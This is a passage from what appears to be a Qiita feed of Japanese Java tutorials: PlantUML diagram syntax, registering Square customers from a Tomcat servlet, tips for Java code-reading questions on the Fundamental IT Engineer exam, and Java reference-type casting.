Three *-- Four
@enduml

hoge.png

  • --*, *-- で、コンポジションを表現できる

関連名

@startuml
One -- Two : Hoge
Three -- Four : Fuga >
Five -- Six : < Piyo
@enduml

hoge.png

  • 関連を記述した後ろに : を入れると、そのさらに後ろに関連名を記述できる
  • 関連名の前後に <, > を入れることで、関連の方向性を表現できる

ロール名と多重度

@startuml
One "Foo" -- Two 
Three -- "Bar" Four
Five "1" -- "1..*" Six
Seven "1 Fizz" -- "~* Buzz" Eight
@enduml

hoge.png

  • 型名と関連の線の間にダブルクォーテーション (") で囲った文字列を記述することで、ロール名または多重度を記述できる
  • ロール名用・多重度用に記述が分かれておらず、この記法をうまく利用して両方を記述しなければならないっぽい
  • なお、 * Buzz のようにアスタリスク (*) で始めてしまうと Creole 記法のリスト扱いになってしまうので、 ~ でエスケープする必要がある

フィールド・メソッドの定義

@startuml
class Hello {
    one: String
    three(param1: String, param2: int): boolean
    String two
    int four(List<String> param)
}
@enduml

hoge.png

  • class <型名> の後に波括弧 ({...}) で囲った中で、フィールドやメソッドを宣言できる
  • UML として正式な記述 (フィールド名: 型名) だけでなく、 Java 的な書き方 (型名 フィールド名) でも書ける
    • 結構なんでも書けるっぽいが、 UML の正式な記法にしておくのが無難だとは思う
  • フィールドとメソッドは自動的に判定されて、よしなにクラス図のそれぞれの部分に描画される
    • こちらも、あえて混在させる必要はなく、キレイに分けて書いておいたほうが無難

可視性

@startuml
class Hello {
    - privateField: int
    # protectedField: int
    ~ packagePrivateField: int
    + publicField: int

    - privateMethod(): void
    # protectedMethod(): void
    ~ packagePrivateMethod(): void
    + publicMethod(): void
}
@enduml

hoge.png

  • UML の記法で可視性を記述すると専用のアイコン表示になる
  • 逆に分かりにくいって場合は、以下の様にしてアイコン表示をオフにすることもできる
@startuml
skinparam classAttributeIconSize 0
class Hello {
    - privateField: int
    # protectedField: int
    ~ packagePrivateField: int
    + publicField: int

    - privateMethod(): void
    # protectedMethod(): void
    ~ packagePrivateMethod(): void
    + publicMethod(): void
}
@enduml

hoge.png

  • skinparam classAttributeIconSize 0 を設定すると、可視性のアイコン表示は消える

抽象メンバー

@startuml
class Hello {
    {abstract} one: int
    {abstract} two(): int
}
@enduml

hoge.png

  • メンバーの先頭に {abstract} とつけることで、抽象メンバーにできる

静的メンバー

@startuml
class Hello {
    {static} ONE: int
    {static} two(): int
}
@enduml

hoge.png

  • メンバーの先頭に {static} とつけることで、静的メンバーにできる

ステレオタイプ

@startuml
class Hello <<Hoge>>
class World <<Fuga>> {
    message: String
}
@enduml

hoge.png

  • 型名の後ろに <<ステレオタイプ>> と記述することで、ステレオタイプを記述できる

テンプレート

@startuml
class Hello<H>
class World<W> <<Hoge>>
@enduml

hoge.png

  • 型名の直後に <名前> と記述することで、テンプレートを表現できる
  • ステレオタイプとの併用も可能

実現や汎化を Java コードっぽく書く

@startuml
interface One
interface Two
interface Three extends Two
interface Four
class Five implements One, Three
class Six extends Five implements Four {
    field: String
    method(): void
}
@enduml

hoge.png

  • extendsimplements を使って、まんま Java コードっぽく書ける
  • これは捗る

パッケージ

@startuml
package one.two {
    class Hello
}

package three.four {
    World -- Hello
}
@enduml

hoge.png

  • package <名前> {...} と記述することで、パッケージを表現できる
  • 波括弧の中では、クラスや関連を記述できる

宣言の順序に注意

パッケージ宣言の順序を逆転した場合
@startuml
package three.four {
    World -- Hello
}

package one.two {
    class Hello
}
@enduml

hoge.png

  • Hello クラスは one.two パッケージで宣言しているつもりだが、先に登場している three.four パッケージに含まれてしまっている
  • どうやら、上から順番に見ていって最初に登場したパッケージ内で宣言したことになるっぽい

ノート

@startuml
class Fizz
note left: fizz

class Buzz
note right: buzz

class Foo
note top: foo

class Bar
note bottom: bar
@enduml

hoge.png

  • クラスなどの宣言のうしろに note <top|bottom|left|right>: <コメント> と記述することで、直前の要素にたいしてノートを記述できる
  • Creole での記述も可能

ノートをつける要素を指定する

@startuml
Fizz -- Buzz
note left of Fizz: fizz
note right of Buzz: buzz
@enduml

hoge.png

  • note <位置> of <対象>: <コメント> と記述することで、 <対象> で指定した要素に対してノートをつけることができる

関連にノートをつける

@startuml
Fizz -- Buzz
note on link: fizz-buzz
note left: buzz
@enduml

hoge.png

  • 型間の関連を記述したあとに note on link: <コメント> と記述することで、関連に対してノートをつけることができる

ノートに名前をつける

@startuml
note "Hello World" as n1
Hello -- n1
World .. n1

note "Fizz Buzz" as n2
@enduml

hoge.png

  • note "<コメント>" as <名前> と記述することで、ノートに任意の名前を割り当てることができる
  • 割り当てた名前を使って、好きな要素とノートを紐付けることができる
    • 型間の関連を書くのと同じような要領で線を引ける
  • この記法なら、単独のノートを記述することもできる

複数行のノートを書く

@startuml
class Hello
note left
Hello
World
end note

Fizz -- Buzz
note on link
Fizz
Buzz
end note
note left of Fizz
fizz
buzz
end note

note as n1
Foo
Bar
end note
@enduml

hoge.png

  • 各ノートの記法は、 end note で終わらせることで複数行で書くことが可能

シーケンス図

同期メッセージ

@startuml
Alice -> Bob: Hi
Bob --> Alice: Hi

Alice -> Bob: Is this a pen?
Bob --> Alice: No! This is an apple!!
@enduml

hoge.png

  • シーケンス図は、基本的に <要素> <メッセージ> <要素>: <メッセージ名> と記述していく
  • <メッセージ> は、 -> で同期メッセージになる
  • --> は線が点線になり、応答メッセージに使用できる

非同期メッセージ

@startuml
Alice ->> Bob: Hi
Alice ->> Bob: Is this a pen?
Alice ->> Bob: Is this a pen??
Alice ->> Bob: Is this a pen???
Alice ->> Bob: Is this a pen????

Bob -> Alice: This is an apple!!!
@enduml

hoge.png

  • ->> と記述することで、非同期メッセージを表現できる

ライフラインの並び順を指定する

@startuml
participant Alice
participant Bob
participant Carol

Carol -> Bob: Is the tip included?
Bob -> Alice: いずれテッペン超えれる?
@enduml

hoge.png

  • 何もしないと、ライフラインは上から現れた順番で、左から並べられる
  • ライフラインの順序を指定したい場合は、 paritcipant <ライフラインの名前> という形で別途並びを定義しておく

ライフラインにアイコンを使う

@startuml
actor Actor
boundary Boundary
control Control
entity Entity
database Database
collections Collections
@enduml

hoge.png

  • participant の代わりに特定のキーワードを指定することで、役割に合わせたアイコンを使用できる

自分自身へのメッセージ

@startuml
Aclie -> Aclie: 逃げちゃ駄目だ
Aclie -> Aclie: 逃げちゃ駄目だ
Aclie -> Aclie: 逃げちゃ駄目だ
Aclie -> Aclie: 逃げちゃ駄目だ
Aclie -> Aclie: 逃げちゃ駄目だ
@enduml

hoge.png

  • 自分自身にメッセージを送ることもできる

メッセージに番号を振る

@startuml
Alice -> Bob: Hi
autonumber
Bob -> Carol: Hi
Carol -> Dave: Hi
Bob -> Dave: Hi
@enduml

hoge.png

  • メッセージの前に autonumber と記述することで、その後のメッセージに自動的に番号を振ることができる

開始番号と増分を指定する

@startuml
autonumber 3
Alice -> Bob: Hi
Bob -> Carol: Hi
autonumber 2 3
Carol -> Dave: Hi
Bob -> Dave: Hi
@enduml

hoge.png

  • autonumber <開始> <増分> のようにして、開始番号と増分を指定できる

自動採番の一時停止・再開

@startuml
autonumber
Alice -> Bob: Hi
autonumber stop
Bob -> Carol: Hi
Carol -> Dave: Hi
autonumber resume
Bob -> Dave: Hi
Carol -> Dave: Hi
@enduml

hoge.png

  • autonumber stop で、自動採番を中断できる
  • autonumber resume で、中断したところから自動採番を再開できる

メッセージのグループ化

@startuml
Alice -> Bob: Is this a pen?
alt yes
    Alice <-- Bob: Yes! This is a pen!!
else no
    Alice <-- Bob: Noooooooo! This is an apple!!!!!
end
@enduml

hoge.png

  • 特定のキーワードを使うことでメッセージをグループ化できる
  • 使用できる予約済みのキーワードは以下
    • alt/else
    • opt
    • loop
    • par
    • break
    • critical
  • キーワードの後ろに任意の文字列を記述できる(分岐の条件などを記述できる)
  • インデントは必要ないが、しておいたほうが見やすいと思う
  • グループは次のように入れ子が可能
入れ子にした場合
@startuml
Alice -> Bob: Is this a pen?
alt yes
    Alice <-- Bob: Yes! This is a pen!!
else no
    Alice <-- Bob: Noooooooo! This is an apple!!!!!
    loop ∞
        Alice -> Bob: Oh sorry! By the way, is this a pen?
        Alice <-- Bob: Noooooooooooooooooo!!!!
    end
end
@enduml

hoge.png

任意の名前のグループを作る

@startuml
group コピペ
    Alice -> Bob: Is this a pen?
    Alice <-- Bob: No! This is an apple!!
end
@enduml

hoge.png

  • group <名前> とすることで、任意の名前のグループを書ける
  • この場合、 alt などでかけたような条件に当たるところの記述はできない

実行仕様

@startuml
activate Alice
Alice -> Bob

activate Bob
Bob -> Carol

activate Carol
Bob <-- Carol

deactivate Carol
Alice <-- Bob

deactivate Bob
@enduml

hoge.png

  • activate <名前> で、指定した名前のライフラインの実行仕様を表現できる
  • deactive <名前> で明示的に非活性化させる必要がある

入れ子にする

@startuml
activate Alice
Alice -> Bob

activate Bob
Bob -> Bob
activate Bob
Bob -> Carol

activate Carol
Bob <-- Carol

deactivate Carol
Alice <-- Bob

deactivate Bob
@enduml

hoge.png

  • 実行仕様は入れ子にできる

ライフラインの生成

@startuml
Alice -> Bob
create Carol
Bob -> Carol: new
Bob -> Carol
Bob <-- Carol
Alice <-- Bob
@enduml

hoge.png

  • create <名前> と記述することで、指定した名前のライフラインを途中から生成できる

リファレンス

@startuml
Alice -> Bob
ref over Bob, Carol: あっちを参照
Alice <-- Bob
ref over Alice
そっちを
参照
end ref
@enduml

hoge.png

  • ref over <リファレンスで囲う対象>: <説明> と記述することで、リファレンスを記述できる
  • リファレンスで囲う対象には、ライフラインの名前をカンマ区切りで複数指定できる
  • ref over ... end ref とすることで複数行で記述することも可能

境界線

@startuml
== Foo ==
Alice -> Bob
Alice <-- Bob

== Bar ==
Bob -> Carol
Bob <-- Carol
@enduml

hoge.png

  • == <名前> == と書くことで、境界線を記述できる

外部からの(への)メッセージ

@startuml
[-> Alice: Hello
Alice ->]: Hello
@enduml

hoge.png

  • ライフラインの名前の代わりに [, ] を使うことで、外部からの(への)メッセージを記述できる

メッセージの間に間隔をあける

@startuml
Alice -> Bob
Alice <-- Bob

Alice -> Bob
Alice <-- Bob
|||
Alice -> Bob
Alice <-- Bob
||80||
Alice -> Bob
Alice <-- Bob
@enduml

hoge.png

  • メッセージの間に ||| を挟むことで、少し間隔をあけることができる
  • ||<ピクセル>|| とすれば、間隔の大きさをピクセルで指定できる

ノート

@startuml
Alice -> Bob
note left: Hello
Alice <-- Bob
note right: World
Alice -> Alice
note left
Hello
World
end note
@enduml

hoge.png

  • メッセージの直後に note left または note right のいずれかでノートをつけることができる
    • top, bottom は使えない(使うとクラス図として解釈されてしまう)
  • note <left|right> ... end note とすることで複数行で書くことも可能
  • Creole で記述可能

Java から使う

Graphviz の指定

  • コマンドラインから実行するときと同様で、 Graphviz の dot.exe の場所を指定しなければならない
  • コマンドラインオプションはないので、システムプロパティか環境変数での設定になる

依存関係の指定

build.gradle
plugins {
    id "application"
}

sourceCompatibility = 11
targetCompatibility = 11
compileJava.options.encoding = "UTF-8"

mainClassName = "sandbox.plantuml.Main"

repositories {
    mavenCentral()
}

dependencies {
    implementation "net.sourceforge.plantuml:plantuml:8059"
}

String ソースから読み込む

Main.java
package sandbox.plantuml;

import net.sourceforge.plantuml.SourceStringReader;

import java.io.File;

public class Main {

    public static void main(String[] args) throws Exception {
        String source = "@startuml\n"
                      + "Foo <-- Bar\n"
                      + "@enduml";
        final SourceStringReader reader = new SourceStringReader(source);
        reader.generateImage(new File("result.png"));
    }
}
  • SourceStringReader を使うと、 String のソースを読み込んで画像を生成できる
  • generateImage(File) などのメソッドで、指定したファイルに結果を出力できる
    • 複数の @startuml...@enduml が存在する場合は、最初の画像だけが生成される
実行結果
> gradle run
...

result.png

  • コマンドラインから実行する場合と同じで、環境変数 GRAPHVIZ_DOT が設定されている必要がある点に注意

複数画像が定義されている場合

Main.java
package sandbox.plantuml;

import net.sourceforge.plantuml.SourceStringReader;

import java.io.FileOutputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) throws Exception {
        String source = "@startuml FooBar\n"
                      + "Foo <-- Bar\n"
                      + "@enduml\n"
                      + "\n"
                      + "@startuml FizzBuzz\n"
                      + "Fizz <-- Buzz\n"
                      + "@enduml";
        final SourceStringReader reader = new SourceStringReader(source);
        try (
            OutputStream fooBar = new FileOutputStream("foobar.png");
            OutputStream fizzBuzz = new FileOutputStream("fizzbuzz.png");
        ) {
            reader.generateImage(fooBar, 0);
            reader.generateImage(fizzBuzz, 1);
        }
    }
}
  • generateImage(OutputStream, int) を使えば、指定した番号の画像を生成できる
  • 画像の番号は 0 はじまりで上からの順番

ソースファイルから読み込む

フォルダ構成
|-source.pu
|-build.gradle
`-src/main/java/
  `-sandbox/plantuml/
    `-Main.java
  • source.pu ファイルを追加
source.pu
@startuml FooBar
Foo <-- Bar
@enduml

@startuml FizzBuzz
Fizz <-- Buzz
@enduml
  • 2つの図を定義している
Main.java
package sandbox.plantuml;

import net.sourceforge.plantuml.SourceFileReader;

import java.io.File;

public class Main {

    public static void main(String[] args) throws Exception {
        final SourceFileReader reader = new SourceFileReader(new File("source.pu"));
        reader.getGeneratedImages();
    }
}
  • SourceFileReader でソースファイルを読み込んでいる
  • getGeneratedImages() を実行すると、画像の生成が行われる
実行結果
> gradle run
...
フォルダ構成
|-source.pu
|-FooBar.png
|-FizzBuzz.png
|-build.gradle
`-src/main/java/
  `-sandbox/plantuml/
    `-Main.java

FooBar.png
FooBar.png

FizzBuzz.png
FizzBuzz.png

  • コマンドラインから実行したときと同じように、ソースファイルが存在するフォルダに画像が出力される
  • getGeneratedImage() は、生成された画像ファイルを表す File オブジェクトの List が返される

参考

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Tomcatを使ってSquareに顧客登録する方法

目次

  • EclipseでMavenプロジェクト作成
  • MavenプロジェクトにTomcat(Java Servlet API)とSquareを登録
  • 登録ページ作成(JSP作成)
  • 内部処理を作成-1-(JSPとの通信)
  • 内部処理を作成-2-(Squareとの通信)

EclipseでMavenプロジェクト作成

参考サイト[Eclipse/Tomcat] MavenのwebappプロジェクトでServlet+JSP

1. Eclipseのパッケージエクスプローラー内で右クリック

スクリーンショット 2020-04-26 4.39.07.png

2. 新規からMaven プロジェクトをクリック

スクリーンショット 2020-04-26 4.42.01.png

3.次へをクリック

  • (未選択)シンプルなプロジェクトの作成(アーキタイプ選択のスキップ)
  • (選択)デフォルト・ワークスペース・ロケーションの使用
  • (未選択)ワーキング・スペースへプロジェクトを追加
  • (未設定)拡張

スクリーンショット 2020-04-26 4.44.11.png

4.maven-archetype-webappを選択して次へ

※フィルターにコピペするなら→「org.apache.maven.archetypes」
スクリーンショット 2020-04-26 4.55.45.png

5.グループidアーティファクトidを入力して完了をクリック

簡単に説明すると

  • グループid自分の所属するグループ
  • アーティファクトidプロジェクト名

と考えれば良い。グループidを何にすればいいかわからないなら「com.〇〇」←○はTwitterの@を飛ばしたIDを入れればいい
詳しく知りたい方へ↓
Guide to naming conventions on groupId, artifactId, and version
EclipseでMavenプロジェクトを新規作成する(Java)

スクリーンショット 2020-04-26 4.59.35.png

6.自分が作成したMavenプロジェクトがあれば成功!

スクリーンショット 2020-04-26 5.09.05.png

7.JRE(Java Runtime Environment)のバージョンを1.7から11に変更(8でも可)

1.自分が作ったMavenプロジェクト内のJRE システム・ライブラリー[JavaSE-1.7]を右クリック
2.プロパティをクリック
スクリーンショット 2020-04-26 5.13.35.png

3.実行環境のJavaSE-1.7(java7)をクリック
スクリーンショット 2020-04-26 5.16.41.png

4.JavaSE-11(java11)をクリック
スクリーンショット 2020-04-26 5.18.32.png

5.JavaSE-11になってれば成功!
スクリーンショット 2020-04-26 5.21.15.png

8.欠けているフォルダーを復活!

1.自分が作ったMavenプロジェクト内のJRE システム・ライブラリー[JavaSE-11]を右クリック
2.ビルド・パスからビルド・パスの構成をクリック
スクリーンショット 2020-04-26 5.23.04.png

3.ソースを選択(一番上の「ソース」「プロジェクト」「ライブラリー」「順序およびエクスポート」「モジュール依存関係」)
4.適応して閉じるを選択
スクリーンショット 2020-04-26 5.25.16.png

4.欠けていたフォルダーが作成されれば成功!
スクリーンショット 2020-04-26 5.28.13.png

MavenプロジェクトにTomcat(Java Servlet API)を登録

参考サイト[Eclipse/Tomcat] MavenのwebappプロジェクトでServlet+JSP

1.作成したMavenプロジェクト内のpom.xmlをダブルクリック

スクリーンショット 2020-04-26 5.36.50.png

2.最新のJava Servlet APIのxmlコードをコピー

https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api
↓記事作成時点(2020年04月26日)のxmlコード Ver:4.0.1

<!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->
<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>javax.servlet-api</artifactId>
    <version>4.0.1</version>
    <scope>provided</scope>
</dependency>

3.挿入.....。

※記事作成時点では28行目()と29行目()の間に挿入
↓31行目から36行目に挿入されている
スクリーンショット 2020-04-26 5.44.47.png

4.最新のSquare SDKのxmlコードをコピー

https://search.maven.org/search?q=g:com.squareup%20AND%20a:square
↓記事作成時点(2020年04月26日)のxmlコード Ver:5.2.2.20200422

<dependency>
  <groupId>com.squareup</groupId>
  <artifactId>square</artifactId>
  <version>5.2.2.20200422</version>
</dependency>

5.挿入.....。

記事作成時点では36行目()と37行目()の間に挿入
↓37行目から41行目に挿入されている
スクリーンショット 2020-04-26 7.16.33.png

4.Maven依存関係に追加されていたら成功!

スクリーンショット 2020-04-26 7.19.58.png

登録ページ作成(JSP作成)

おまたせしました!準備は終わりましたのでこれからプログラミングをします!

1.作成したMavenプロジェクトの「src」→「main」→「webapp」→「WEB-INF」を右クリックして「新規」→「その他」をクリック

スクリーンショット 2020-04-26 7.23.59.png

2.「Web」の「JSPファイル」を選択して次へ

スクリーンショット 2020-04-26 7.29.08.png

3.ファイル名を入力して完了

私はMainServletにしました。
スクリーンショット 2020-04-26 7.31.45.png

4.名前(名字と名前)と送信ボタンを表示させます

MainServlet.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<!-- ↓サイト名 -->
<title>square顧客登録ページ</title>
</head>
<body>
<!-- ↓送信先Java -->
<form action="./Main">
<p>名前</p>
<a>性</a>
<!-- ↓名字を入れるボックス -->
<input type="text" name="name1">
<a>名</a>
<!-- ↓名前を入れるボックス -->
<input type="text" name="name2">
<br>
<!-- ↓Jspに送信ボタン -->
<input type="submit" value="送信">
</form>
</body>
</html>

内部処理を作成-1-(JSPとの通信)

1.作成したMavenプロジェクトの「src/main/java」を右クリックして「新規」→「その他」をクリック

※src/main/javaがない場合→
スクリーンショット 2020-04-26 7.40.25.png

2.「Web」の「サーブレット」を選択して次へ

スクリーンショット 2020-04-26 7.42.36.png

3.クラス名を入力して完了

実際の業務でこれやると怒られるんだけどね...。
スクリーンショット 2020-04-26 7.44.33.png

4.作成されればこうなります↓

阿波根に殺されないように注意しましょう。ヘッドショット注意
スクリーンショット 2020-04-26 7.46.23.png

5.まずはjavaからjspに転送されるプログラムを書きます

変更(追加)した場所↓

Main.java
// JSPにforward(ファイルの場所指定)
String view = "/WEB-INF/MainServlet.jsp";
RequestDispatcher dispatcher = request.getRequestDispatcher(view);
dispatcher.forward(request, response);

全部↓

Main.java
import java.io.IOException;

import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/**
 * Servlet implementation class Main
 */
public class Main extends HttpServlet {
    private static final long serialVersionUID = 1L;

    /**
     * @see HttpServlet#HttpServlet()
     */
    public Main() {
        super();
        // TODO Auto-generated constructor stub
    }

    /**
     * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
     */
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        // TODO Auto-generated method stub
//      response.getWriter().append("Served at: ").append(request.getContextPath());

        // JSPにforward(ファイルの場所指定)
        String view = "/WEB-INF/MainServlet.jsp";
        RequestDispatcher dispatcher = request.getRequestDispatcher(view);
        dispatcher.forward(request, response);
    }

    /**
     * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
     */
    protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        // TODO Auto-generated method stub
        doGet(request, response);
    }

}

6.実行してみてJspに記載した内容が表示されればOK!

↓成功!
スクリーンショット 2020-04-26 7.59.08.png

↓文字化けした場合
スクリーンショット 2020-04-26 8.01.12.png

Main.java
response.getWriter().append("Served at: ").append(request.getContextPath());

↑これをコメントアウトしよう!

7.Jspで入力した文字をJavaで受け取ろう

説明:Jspの「id=name1」のテキストボックスの文字を「String name1」に入れる

Main.java
//jspから受け取り
String name1 = request.getParameter("name1");//名前(性)
String name2 = request.getParameter("name2");//名前(名)

7.nullだと実行しない用にする

説明:name1とname2がnullじゃなかったら実行

Main.java
if (name1 != null || name2 != null) {
}

8.空白だとエラーを出す

説明:name1とname2が空白じゃなかったら実行。空白だったらエラーを出す

Main.java
if (!name1.equals("") && !name2.equals("")) {
}else{
System.out.println("性・名を入力してください");
}

9.Square.javaに送るよ

説明:Square.javaに性と名を送る

Main.java
//squareに送信
Square square = new Square();
square.main(name1, name2);

10.ここまで記載した全部↓

Main.java
import java.io.IOException;

import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import square.SquareMain;

/**
 * Servlet implementation class Main
 */
public class Main extends HttpServlet {
    private static final long serialVersionUID = 1L;

    /**
     * @see HttpServlet#HttpServlet()
     */
    public Main() {
        super();
        // TODO Auto-generated constructor stub
    }

    /**
     * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
     */
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        // TODO Auto-generated method stub
        //      response.getWriter().append("Served at: ").append(request.getContextPath());
        //jspから受け取り
        String name1 = request.getParameter("name1");//名前(性)
        String name2 = request.getParameter("name2");//名前(名)
        if (name1 != null || name2 != null) {
            if (!name1.equals("") && !name2.equals("")) {
                //squareに送信
                Square square = new Square();
                square.main(name1, name2);
                System.out.println("完了:");
            } else {
                System.out.println("性・名を入力してください");
            }
        }
        // JSPにforward(ファイルの場所指定)
        String view = "/WEB-INF/MainServlet.jsp";
        RequestDispatcher dispatcher = request.getRequestDispatcher(view);
        dispatcher.forward(request, response);
    }

    /**
     * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
     */
    protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        // TODO Auto-generated method stub
        doGet(request, response);
    }

}

内部処理を作成-2-(Squareとの通信)

参考にしたサイト「Java client library for the Square API

1.作成したMavenプロジェクトの「src/main/java」→「デフォルト・パッケージ」を右クリックして「新規」→「クラス」をクリック

スクリーンショット 2020-04-26 8.15.47.png

2.名前を入れて完了クリック

Eclipseにも注意受けます..。
スクリーンショット 2020-04-26 8.19.03.png

3.まずはアクセストークンを入力しましょう

↓テスト用

Square.java
SquareClient client = new SquareClient.Builder()
            .environment(Environment.SANDBOX)
            .accessToken("YOUR_SANDBOX_ACCESS_TOKEN")
            .build();

↓本番用

Square.java
SquareClient client = new SquareClient.Builder()
    .environment(Environment.PRODUCTION)
    .accessToken("ACCESS TOKEN HERE")
    .build();

4.CustomersAPI

詳細:「Customers

Square.java
CustomersApi api = client.getCustomersApi();

5.送信する形を作る

詳細:「Create Customer

Square.java
CreateCustomerRequest createCustomerRequest = new CreateCustomerRequest.Builder()
                .idempotencyKey("unique_idempotency_key")
                .givenName(name1)//性
                .familyName(name2)//名
                .address(null)//今回は使用しない
                .build();

6.送信するぞ!

Square.java
try {
            CreateCustomerResponse response = api.createCustomer(createCustomerRequest);
        } catch (ApiException e) {
            List<Error> errors = e.getErrors();
            int statusCode = e.getResponseCode();
            HttpContext httpContext = e.getHttpContext();

            // Your error handling code
            System.err.println("APIを呼び出すときのApiExceptionエラー");
            e.printStackTrace();
        } catch (IOException e) {
            // Your error handling code
            System.err.println("API呼び出し時のIOExceptionエラー");
            e.printStackTrace();
        }

7.Square.javaの全部

Square.java
import java.io.IOException;
import java.util.List;

import com.squareup.square.Environment;
import com.squareup.square.SquareClient;
import com.squareup.square.api.CustomersApi;
import com.squareup.square.exceptions.ApiException;
import com.squareup.square.http.client.HttpContext;
import com.squareup.square.models.CreateCustomerRequest;
import com.squareup.square.models.CreateCustomerResponse;
import com.squareup.square.models.Error;

public class Square {
    public void main(String name1, String name2) {
        SquareClient client = new SquareClient.Builder()
                .environment(Environment.PRODUCTION)
                .accessToken("ACCESS TOKEN HERE")
                .build();

        CustomersApi api = client.getCustomersApi();
        CreateCustomerRequest createCustomerRequest = new CreateCustomerRequest.Builder()
                .idempotencyKey("unique_idempotency_key")
                .givenName(name1)//性
                .familyName(name2)//名
                .address(null)//今回は使用しない
                .build();

        try {
            CreateCustomerResponse response = api.createCustomer(createCustomerRequest);
        } catch (ApiException e) {
            List<Error> errors = e.getErrors();
            int statusCode = e.getResponseCode();
            HttpContext httpContext = e.getHttpContext();

            // Your error handling code
            System.err.println("APIを呼び出すときのApiExceptionエラー");
            e.printStackTrace();
        } catch (IOException e) {
            // Your error handling code
            System.err.println("API呼び出し時のIOExceptionエラー");
            e.printStackTrace();
        }

    }
}

完成!

スクリーンショット 2020-04-26 4.23.37.png
スクリーンショット 2020-04-26 4.23.29.png

動画ので教える感覚で記事書くと見にくくなることがわかった。

次回から気をつけます

PS 挿入ってエロいよね

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

基本情報のコードリーディング(java) の方針について

基本情報処理技術者試験(以下、基本情報)のアルゴリズム問題をjava で受験する予定なので勉強中。

最近ちょっと方針がわかってきた。

  1. クラス名直後の空欄はサービス問題
  2. メソッド内の空欄は引数や戻り値から推測しよう
  3. 条件2.でダメなら仕様をよく読んで推測しよう
  4. 「this」「super」があったら「コンストラクタ」の話

1. クラス名直後の空欄はサービス問題

問題の選択肢を見る。クラス名直後の空欄は「extends」、「implements」、「throws」のいずれかである(たぶん)。空欄の直後が例外処理(〜exception みたいなやつ)なら「throws」で確定。空欄の直後がクラスなら"継承" なので空欄は「extends」、インターフェース名なら「implements」 が当てはまる。

sample.java
public class human{
    ~~~~
    ~~~~
}

public class sample [[  空欄a  ]] human{
    ~~~~
    ~~~~
}

// human はクラスなので[[  空欄a  ]] は「extends」
sample.java
public interface human{
    ~~~~
    ~~~~
}

public class sample [[  空欄a  ]] human{
    ~~~~
    ~~~~
}

// human はインターフェースなので[[  空欄a  ]] は「implements」
sample.java
public class sample [[  空欄a  ]] IOException{
    ~~~~
    ~~~~
}

// 直後に例外が来てるので[[  空欄a  ]] は「throws」

だいたいこんな感じだと思って解いてる。

こういうサービス問題はまっさきに埋めてしまおう。

2. メソッド内の空欄は引数や戻り値から推測しよう

インスタンスの型やメソッド名直後の戻り値を追いかけると回答を絞れることも多い。焦らずデータの流れを追っていこう。

3. 条件2.でダメなら仕様をよく読んで推測しよう

while() のかっこ内の条件文や、呼び出される関数の名前などの仕様ははじめの日本語文に書いてある。しっかり読んでみよう。

  1. 「this」「super」があったら「コンストラクタ」の話
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【わかりやすく解説‼】Javaにおける参照型の型変換

1.事前知識

事前知識として、上記リンクの内容が必要です。

2.参照型の型変換とは

  • 参照型の型変換 には、 アップキャストダウンキャスト がある。
  • アップキャスト は、サブクラスのインスタンスを スーパークラス型のオブジェクト として扱うこと。
  • ダウンキャスト は、スーパークラスのインスタンスを サブクラス型のオブジェクト として扱うこと。
  • ダウンキャスト は、キャスト演算子「()」を使用して行う。

3.基本的な書き方

アップキャスト
public class メインクラス名{
    public static void main(String[] args) {
        // インスタンスの生成
        サブクラス名 変数名1 = new サブクラス名();
        // アップキャスト
        スーパークラス名 変数名2 = 変数名1;
    }
}
ダウンキャスト
public class メインクラス名{
    public static void main(String[] args) {
        // インスタンスの生成
        スーパークラス名 変数名1 = new サブクラス名();
        // アップキャスト
        サブクラス名 変数名2 = (サブクラス名)変数名1;
    }
}
  • 基本的な参照型の型変換は上記のように記述する。

4.事前準備

01.png
1. Eclipseを起動し、 [ファイル(F)]→[新規(N)]→[Java プロジェクト] を選択する。
02.png
2. プロジェクト名に Test1 と入力し、 完了 ボタンをクリックする。
03.png
3. [ファイル(F)]→[新規(N)]→[クラス] を選択する。   
05.png
4. パッケージと名前に Test1 と入力し、 完了 ボタンをクリックする。
06.png
5. Test1.java が作成されたことを確認する。
001.png
6. 3と同様の手順でパッケージに Test1 , 名前に Hello と入力し、 完了 ボタンをクリックする。
002.png
8. 3と同様の手順でパッケージに Test1 , 名前に GoodMorning , スーパークラスに Hello と入力し、 完了 ボタンをクリックする。
003.png
9. 3と同様の手順でパッケージに Test1 , 名前に GoodEvening , スーパークラスに GoodMorning と入力し、 完了 ボタンをクリックする。
004.png
10. Test1.java , Hello.java , GoodMorning.java , GoodEvening.java が作成されれば成功。

5.記述例

  • 参照型の型変換 は、 スーパークラス または サブクラス が 持っている メソッドの呼び出しメソッドの定義範囲を変える ために使用する。
Test1.java
package Test1;
public class Test1 {
    public static void main(String[] args) {
        // インスタンスの生成
        GoodEvening ge1 = new GoodEvening("A");
        ge1.showGoodMorning();

        // アップキャスト
        Hello hello = ge1;
        hello.showHello();

        // ダウンキャスト
        GoodEvening ge2 = (GoodEvening) hello;
        ge2.showGoodEvening();
        //((GoodEvening) hello).showGoodEvening();
    }
}
Hello.java
package Test1;
public class Hello{
    // 変数の定義
    String name;

    // コンストラクタ
    public Hello(String name) {
        this.name = name;
    }

    // 挨拶の表示
    void showHello() {
